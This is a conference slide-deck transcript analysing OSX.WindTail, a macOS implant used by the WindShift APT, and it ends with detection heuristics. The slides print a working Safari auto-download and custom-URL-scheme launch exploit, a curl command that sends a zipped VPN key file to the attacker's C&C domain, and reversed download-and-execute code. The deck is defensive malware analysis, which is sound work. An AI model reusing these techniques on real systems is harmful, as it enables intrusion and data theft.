Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Cyber-Espionage in the Middle East: Unravelling OSX.WindTail

Cyber-Espionage in the Middle East: Unravelling OSX.WindTail

It's no secret that many nation-states possess offensive macOS cyber capabilities, though such capabilities are rarely publicly uncovered. However, when such tools are detected, they provide unparalleled insight into the operations and techniques utilized by advanced adversaries. In this talk, we'll comprehensively dissect one such tool: the first-stage macOS implant utilized by the WINDSHIFT APT group (who targeted individuals of a certain Middle-Eastern government). After analyzing the malware's unique infection vector, we'll discuss its method of persistence, and capabilities. To conclude, we'll present heuristic methods of detection that can generically detect this, as well as other advanced macOS threats.

Patrick Wardle

October 03, 2019
Tweet

More Decks by Patrick Wardle

Other Decks in Technology

Transcript

  1. Cyber espionage in the Middle East
    unravelling OSX.WindTail

    View full-size slide

  2. WHOIS
    co-founder creator
    @patrickwardle

    View full-size slide

  3. infection 

    & installation
    capabilities
    OUTLINE
    }
    background detection
    OSX.WindTail

    View full-size slide

  4. WINDSHIFT APT
    targeting macOS systems in the middle east
    "In the Trails of WindShift APT" 

    (T. Karim, Hack in the Box GSEC)
    Taha Karim
    WindShift APT group:
    "targeted specific individuals working
    in government departments and critical
    infrastructure across the Middle East"
    }
    WindShift APT toolset:
    OSX.WindTail
    OSX.WindTape

    View full-size slide

  5. WINDSHIFT APT ACTIVITY unit42
    (paloaltonetworks.com)

    View full-size slide

  6. OSX.WindTail.A
    infection & installation

    View full-size slide

  7. ...virustotal to the rescue
    FINDING SAMPLES
    "In the Trails of WindShift APT" 

    (T. Karim)
    "name: Meeting_Agenda"
    sample never shared (afaik)
    a match!

    View full-size slide

  8. ...virustotal to the rescue
    FINDING SAMPLES
    "similar-to"
    NPC_Agenda_230617.zip1 

    SHA-1: df2a83dc0ae09c970e7318b93d95041395976da7
    Scandal_Report_2017.zip 

    SHA-1: 6d1614617732f106d5ab01125cb8e57119f29d91
    Final_Presentation.zip 

    SHA-1: da342c4ca1b2ab31483c6f2d43cdcc195dfe481b
    }
    new samples?!
    (0 detections)

    View full-size slide

  9. FINAL_PRESENTATION.APP
    $ codesign -dvv /Users/patrick/Downloads/WindTail/Final_Presentation.app
    Executable=/Users/patrick/Downloads/WindTail/Final_Presentation.app/Contents/MacOS/usrnode
    Identifier=com.alis.tre
    Format=app bundle with Mach-O thin (x86_64)
    Signature size=8526
    Authority=(unavailable)
    Info.plist=not bound
    TeamIdentifier=95RKE2AA8F
    standard mac application
    executable: 'usrnode'
    signed! (team id: 95RKE2AA8F)
    code signing information

    View full-size slide

  10. EXPLOITATION OVERVIEW
    "Remote Mac Exploitation Via Custom URL Schemes"

    https://objective-see.com/blog/blog_0x38.html

    View full-size slide

  11. launch services interactions?
    INFECTION VECTOR
    # fs_usage -w -f filesystem

    open (R_____) ~/Downloads/WindTail/Final_Presentation.app lsd
    open (R_____) ~/Downloads/WindTail/Final_Presentation.app/Contents/Info.plist lsd
    PgIn[A] /private/var/folders/pw/sv96s36d0qgc_6jh45jqmrmr0000gn/0/com.apple.LaunchServices-231-v2.csstore
    launch services daemon (lsd)..."processing" the app?
    zip download
    auto extract

    View full-size slide

  12. $ lsregister -dump

    BundleClass: kLSBundleClassApplication
    bundle id: 56080
    ...
    path: ~/Downloads/Final_Presentation.app
    schemesList: openurl2622007
    ------------------------------------------
    claim id: 208600
    rank: Default
    roles: Viewer
    flags: url-type
    bindings: openurl2622007:
    automatic registration of
    custom URL handlers
    $ cat Final_Presentation.app/
    Contents/Info.plist


    ...
    CFBundleURLTypes


    CFBundleURLName
    Local File
    CFBundleURLSchemes

    openurl2622007



    custom url scheme
    (Info.plist)
    custom url schemes
    INFECTION VECTOR
    launch services database

    View full-size slide

  13. download and execute via Safari
    EXAMPLE EXPLOIT
    //auto download .zip

    //Safari will unzip & trigger url registration

    var a = document.createElement('a');

    a.setAttribute('href', 'https://file.io/kBTfCn');

    a.setAttribute('download', 'Final_Presentation');

    $(a).appendTo('body');


    $(a)[0].click();


    //launch app via custom url scheme

    location.replace("openurl2622007://");
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11

    download & launch malware
    "Final_Presentation"

    View full-size slide

  14. OSX.WindTail ...persisted !

    View full-size slide

  15. via login item
    PERSISTENCE
    int main(int argv, char** argv) {


    r12 = [NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];


    rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0);

    LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0, r12, 0x0, 0x0);

    ...


    rax = NSApplicationMain(r15, r14);

    return rax;

    }
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11

    login item persistence

    View full-size slide

  16. copy into ~/Library
    INSTALLATION LOGIC
    (lldb) po $rdi

    (lldb) x/s $rsi
    "copyItemAtPath:toPath:error:"
    (lldb) po $rdx
    /Users/user/Downloads/Final_Presentation.app
    (lldb) po $rcx
    /Users/user/Library/Final_Presentation.app
    /* @class appdele */

    -(void)cp {

    ...

    [fileManager copyItemAtPath:r15

    toPath:rbx error:0x0];
    01
    02
    03
    04
    05
    # fs_usage -w -f filesystem
    open /Users/user/Downloads/Final_Presentation.app
    mkdir /Users/user/Library/Final_Presentation.app
    ...
    ~/Downloads ~/Library
    installed malware
    [appdele cp] method
    file monitor
    debugging (args)

    View full-size slide

  17. ...again!?
    PERSISTENCE
    # ./processMonitor

    [ process start]
    pid: 917
    path: /usr/bin/open
    args: (
    open,
    "-a",
    "~/Library/Final_Presentation.app"
    )
    process monitor
    ~/Downloads
    ~/Library
    `open ~/Library/
    Final_Presentation.app`
    both instances
    are persisted...

    View full-size slide

  18. OSX.WindTail.A
    capabilities

    View full-size slide

  19. AES w/ a hardcoded key
    STRING ENCRYPTION encoded (& encrypted) strings
    /* @class appdele */

    -(void *)yan {

    var_30 = [self yoop:@"BouCfWujdfbAUfCos/iIOg=="];

    [self yoop:@"Bk0WPpt0IFFT30CP6ci9jg=="];

    [self yoop:@"RYfzGQY52uA9SnTjDWCugw=="]; 


    return [NSMutableArray arrayWithObjects:var_30];

    }
    01
    02
    03
    04
    05
    06
    07
    08
    -(void *)yoop:(void *)string {

    return [[[NSString alloc] initWithData:

    [[yu decode:string] AESDecryptWithPassphrase:key]];

    }
    01
    02
    03
    04
    'yan' invokes 'yoop:'
    'yoop:'
    (+AES decryption) crypto key

    View full-size slide

  20. runtime decryption of strings
    DYLIB INJECTION
    load library & 

    hook decryption routine?!
    overwrite (un-needed)
    LC_LOAD_DYLIB entry
    $ vmmap usrnode
    __TEXT ~/Library/Final_Presentation.app/
    Contents/MacOS/usrnode
    __TEXT ~/Library/Final_Presentation.app/
    Contents/MacOS/swizzle.dylib
    'injected' dylib: loaded

    View full-size slide

  21. "SWIZZLING" DECRYPTION ROUTINE
    method_exchangeImplementations(

    class_getInstanceMethod([self class], @selector(swizzle:)),

    class_getInstanceMethod(NSClassFromString(@"appdele"), @selector(yoop:)));


    -(NSString*)swizzle:(NSData*)data {


    //invoke original method ("yoop") to decrypt 

    decrypted = ((NSString*(*)(id,SEL,NSData*))origImplementation)(self,@selector(yoop:), data);


    //modify decrypted string as needed!


    return decrypted;
    }
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    swaps methods, via 'swizzle'
    url = [r15 yoop:@"F5Ur0CCFMO...];
    01
    "flux2key.com"
    print "decrypted: %s"
    "F5Ur0CCFMO..."
    method: "swizzle"
    method: "yoop"
    "F5Ur0CCFMO..."
    -> "flux2key.com"

    View full-size slide

  22. DECRYPTED STRINGS
    $ open Final_Presentation.app
    dylib: loaded in usrnode (pid 666)

    dylib: swizzled '-[appdele yoop:]'

    dylib: decrypted: "Library/"

    dylib: decrypted: "doc"

    dylib: decrypted: "docx"

    dylib: decrypted: "ppt"


    dylib: decrypted: flux2key.com

    dylib: decrypted: string2me.com
    install path, file extensions, and C&C servers
    install dir
    C&C servers
    }
    file
    extensions?

    View full-size slide

  23. FILE EXFILTRATION
    # ./procInfo
    [ process start ]
    pid: 1202
    path: /usr/bin/zip
    args: (
    "/usr/bin/zip",
    "/tmp/psk.txt.zip",

    "/private/etc/racoon/psk.txt"
    )
    # ./procInfo
    [ process start ]
    pid: 1258
    path: /usr/bin/curl
    user: 501
    args: (
    "/usr/bin/curl",
    "-F",
    "vast=@/tmp/psk.txt.zip",
    "-F",
    "od=1601201920543863",
    "-F",
    "kl=users-mac.lan-user",
    "string2me.com/.../kESklNvxsNZQcPl.php"
    )
    file collection
    file exfiltration

    (via curl)
    <__NSArrayM 0x10018f920>

    (

    "doc", "docx", "ppt", "pdf", "xls,

    "xlsx", "db", "txt", "rtf", "pptx"

    )
    file extensions

    (decrypted)

    View full-size slide

  24. FILE DOWNLOAD
    -(void)sdf {


    //get file name from C&C server

    var_50 = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE....];

    url = [[NSURL alloc] initWithString:[NSString stringWithFormat:var_50, ....];

    request = [NSURLRequest requestWithURL:url,...];

    data = [NSURLConnection sendSynchronousRequest:request ...];

    fileName = [[NSString alloc] initWithData:data encoding:rcx ...];


    //get file contents from C&C server

    rcx = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE98Zvi...];

    fileContents = [NSData dataWithContentsOfURL:[NSURL URLWithString:[NSString 

    stringWithFormat:@"%@%@", rcx, r8] ...];


    //save to disk

    [fileContents writeToFile: fileName ...];
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    $ ./netiquette -list
    usrnode(4897) 

    127.0.0.1 -> flux2key.com:80 (Established)

    usrnode(4897) 

    127.0.0.1 -> flux2key.com:80 (Established)
    GET /liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php

    response: file name
    GET /liaROelcOeVvfjN/update

    response: file contents 2x connections

    View full-size slide

  25. FILE EXECUTE
    -(void)sdf {


    //extract via 'ditto'

    task = [[NSTask alloc] init];

    [task setLaunchPath:[var_68 yoop:@"x3EOmwsZL5..."];


    rdx = [NSArray arrayWithObjects:@"-x", @"-k", ...];

    [task setArguments:rdx, ...];

    [task launch];


    //launch

    bundle = [[NSBundle bundleWithPath:filePath] executablePath];

    task = [[NSTask alloc] init];

    [task setLaunchPath:bundle];

    [task launch];
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    # ./procInfo
    [ process start ]
    path: /usr/bin/ditto
    args: ( "/usr/bin/ditto",
    "-x", "-k",
    "~/Library/update.zip", "~/Library" )

    [ process start ]
    path: ~/Library/update.app
    download & execute

    View full-size slide

  26. REMOTE SELF-DELETE
    "1"
    terminate
    delete
    r14 = [NSFileManager defaultManager];

    rdx = [[NSBundle mainBundle] bundlePath];


    //remove (self)

    [r14 removeItemAtPath:rdx error:rcx];


    //terminate (self)

    [[NSApplication sharedApplication] terminate:0x0 ...];
    01
    02
    03
    04
    05
    06
    07
    08

    http://flux2key.com/liaROelcOeVvfjN/
    fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@
    }
    request
    self-delete logic

    View full-size slide

  27. OSX.WindTail.A
    detection

    View full-size slide

  28. DETECTING EXPLOITATION
    $ cat Final_Presentation.app/Contents/Info.plist
    ...
    CFBundleURLTypes


    CFBundleURLSchemes

    openurl2622007
    $event.isNewDirectory == 1 AND $event.file.isAppBundle == 1
    AND $event.file.bundle.infoDictionary.CFBundleURLTypes != nil
    $event.isNewDirectory == 1 AND
    $event.process.name == 'Safari'
    Safari 'auto-open'
    'auto' URL handler registration
    Safari created
    directory
    app with custom URL handler
    application start
    alert !
    + +
    ?

    View full-size slide

  29. DETECTING PERSISTENCE
    backgroundtaskmanagementagent modifies
    backgrounditems.btm
    # fs_usage -w -f filesystem
    lstat64 ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
    backgroundtaskma.418404
    chmod ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm

    backgroundtaskma.418404
    warn !

    View full-size slide

  30. "Block Blocking Login Items"

    https://objective-see.com/blog/blog_0x31.html
    DETECTING PERSISTENCE

    View full-size slide

  31. OTHER RUNTIME BEHAVIORS
    file access, curl, network traffic?
    +
    +
    ...other (generic)
    runtime detections?
    ?
    alert !
    1000x file access (+ zip)
    # ./procInfo
    path: /usr/bin/curl
    args: (
    "/usr/bin/curl",
    "-F",
    "vast=@/tmp/psk.txt.zip",
    ...
    )
    curl w/ 'POST' params
    network access (exfil)

    View full-size slide

  32. MAHALO!
    Digita Security
    (formerly)
    "Friends of Objective-See"
    [email protected]
    CleanMyMac X
    Malwarebytes Airo
    Guardian
    Mobile Firewall SecureMac SmugMug SentinelOne
    Trail of Bits Digital Guardian
    Sophos
    CyberArk Halo Privacy

    View full-size slide

  33. The Mac Security Conference
    Maui, Hawaii
    March 2020
    Objective by the Sea v3.0

    View full-size slide

  34. @patrickwardle
    • 'IN THE TRAILS OF WINDSHIFT APT' -T. KARIM
    • 'SHIFTING IN THE WIND' -UNIT42
    RESOURCES: IMAGES:
    • WIRDOU.COM/
    OSX.WindTail

    View full-size slide